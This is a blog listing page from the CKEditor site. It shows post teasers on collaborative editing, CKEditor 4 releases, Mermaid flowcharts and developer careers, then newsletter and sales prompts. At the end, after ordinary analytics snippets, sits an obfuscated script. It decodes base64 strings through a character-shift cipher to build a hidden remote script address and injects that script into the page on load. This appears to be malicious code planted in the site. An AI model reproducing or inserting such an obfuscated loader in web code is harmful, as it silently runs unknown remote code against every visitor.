2024 Rich Text Editing Developer Survey

Share your thoughts on the future of collaborative rich text editing. (Our survey takes about 10 mins)

Have your say
A woman is reading a book. On the right there is an editor with collaboration feature

A starter guide to collaboration - CKEditor 5

CKEditor 5 is the next-generation rich text editor with WYSIWYG methodology at its core that can be implemented within web-based software. One of the things it was designed for and that makes it stand out on the market is collaboration.

Feature spotlight - HTML to Word converter

The MS Word .docx file format is an industry standard nowadays. The HTML to Word converter and the Export to Word editor plugin enable the incorporation of this format in your work for portability and cross-platform compatibility of your content.

Bett + CKEditor on the front and in the background people discussing on some project

What to focus on when choosing an editor for your education software – Bett UK 2022

On 23-25 March 2022, CKEditor 5 is joining Bett UK where 400+ Edtech providers will share their solutions with the educational community. But before we land in London and tell you all about easy and reliable writing solutions CKEditor 5 can offer, we would like to quickly go over some key points education software creators should watch out for when choosing a rich text editor for their software, and what sort of performance they can expect from CKEditor 5 in those areas.

CKEditor on the first plan and some workers between the editor

CKEditor 4.18 browser bugfix and security patches

CKEditor 4.18 comes with important security fixes for the HTML processing core module and dialog plugin and a browser patch. We have also decided to make the WebSpellChecker Dialog plugin obsolete due to its end of life. Check out CKEditor 4.18 and find out, what was improved!

GitHub writer

GitHub Writer now available with Mermaid support

GitHub has recently introduced Mermaid support. Mermaid is a flowchart and visualization tool that is similar to Markdown. CKSource meanwhile has introduced it to its GitHub Writer platform, which is a rich text editor within GitHub and based on CKEditor 5.

Man looking on the charts

Basic overview of creating flowcharts using Mermaid

Mermaid is now available on GitHub and is a flowchart and visualization tool that was inspired by the Markdown language. Users can create a variety of chart types and insert them into the text fields of GitHub. These text fields or places where these charts can be inserted include wikis, documentation, pull requests and more. In this guide we show you the various options of creating a flowchart using this language.

CKEditor 5 with emphasized Revision History and possibility to collaboration

Revision History now available with Real-time Collaboration in CKEditor 5

For a long time, the Real-time Collaboration feature served our users in the best way possible. It did this, by allowing them to comment and edit content together in a rapid development environment. The same goes for Revision History – a versioning tool that became a user favorite from day one. Now we are bringing both of these great features together in one package!

Three people with laptops

Is coding for everyone?

Is coding for everyone? Can anyone become a software developer? If you think that you’re “unsuited” for IT professions and keep on repeating that you’re “just not a math person”, you may be very wrong. Learn why the right attitude matters so much in this case and what are the key prerequisites and conditions to kickstart a professional coding career.

Editor and two comments on the right

5 best collaborative writing strategies for 2022

Collaborative writing is getting increasingly popular within modern organizations. But it is not as simple as it might seem. To make the process of crafting great content together smooth and more effective, the right collaborative writing strategies need to be adopted. In this article, we shed light on some of the best collaborative writing strategies to utilize in 2022 and beyond.

CKFinder 3.5.3 for PHP released

We would like to announce that CKFinder 3.5.3 has just been released. This is a maintenance release and covers the CKFinder for PHP. Aiming at stability and uninterrupted operation, we have made the following improvements to CKFinder.

Person sitting at the desk and doing something on the laptop

How programming affects your brain

How programming affects your brain as a software developer is not a mystery anymore. Dealing with complex corner cases, breaking down difficult problems, or performing source code reviews can activate the brain’s learning centers and increase cognitive abilities, to name but a few benefits. One of the ways of empowering your brain capabilities this way is getting a job at and growing with CKSource.

Highlighted buttons

Button - why is simple not that simple?

Some things are regarded as simple. A button is a great example of it: a small rectangular thingy that can be clicked. I mean — that's it, that's the button, there isn't anything complex about it… or is there?

Editor with shown editable and read-only mode

Feature of the month - restricted editing modes

Writing, editing — all of that is generally about the ability to access the content faster better, more efficiently. To add, remove, change, and rewrite yet again. Still, there are situations when an editor or a reader should not be able to change the content. Sounds surprising? Maybe so. Maybe not so much.

Computer in the center. Vue, Angular and React icons floating near the mentioned laptop

CKEditor 4.17 with enhanced Base64 images support, delayed editor initialization, and security fixes

We are happy to announce the release of CKEditor 4.17.0. In this major release, we are introducing a highly requested feature allowing developers to reattach the editor to the HTML DOM and delay its initialization. This release also comes with improved Base64 images support for clipboard operations, discontinued support for Flash plugin, and other enhancements prepared by both CKEditor 4 team and our lovely community!

People planning tasks on the board

Agile project management - how we do it at CKSource

Agile project management is still making the headlines, despite being 20 years old. The benefits of its application are countless and priceless, and we are well aware of that at CKSource. Software developers who join us can see for themselves that going Agile and relying on continuous feedback simply makes the work done faster and more pleasant, and the results of it are often more than impressive. With this blog post, we're continuing a cycle on the reasons why it is so beneficial to launch your career with CKSource or switch to this company from your current endeavor.

No entries

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

We use cookies and other technologies to provide you with a better user experience.

Learn more about cookies policy

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });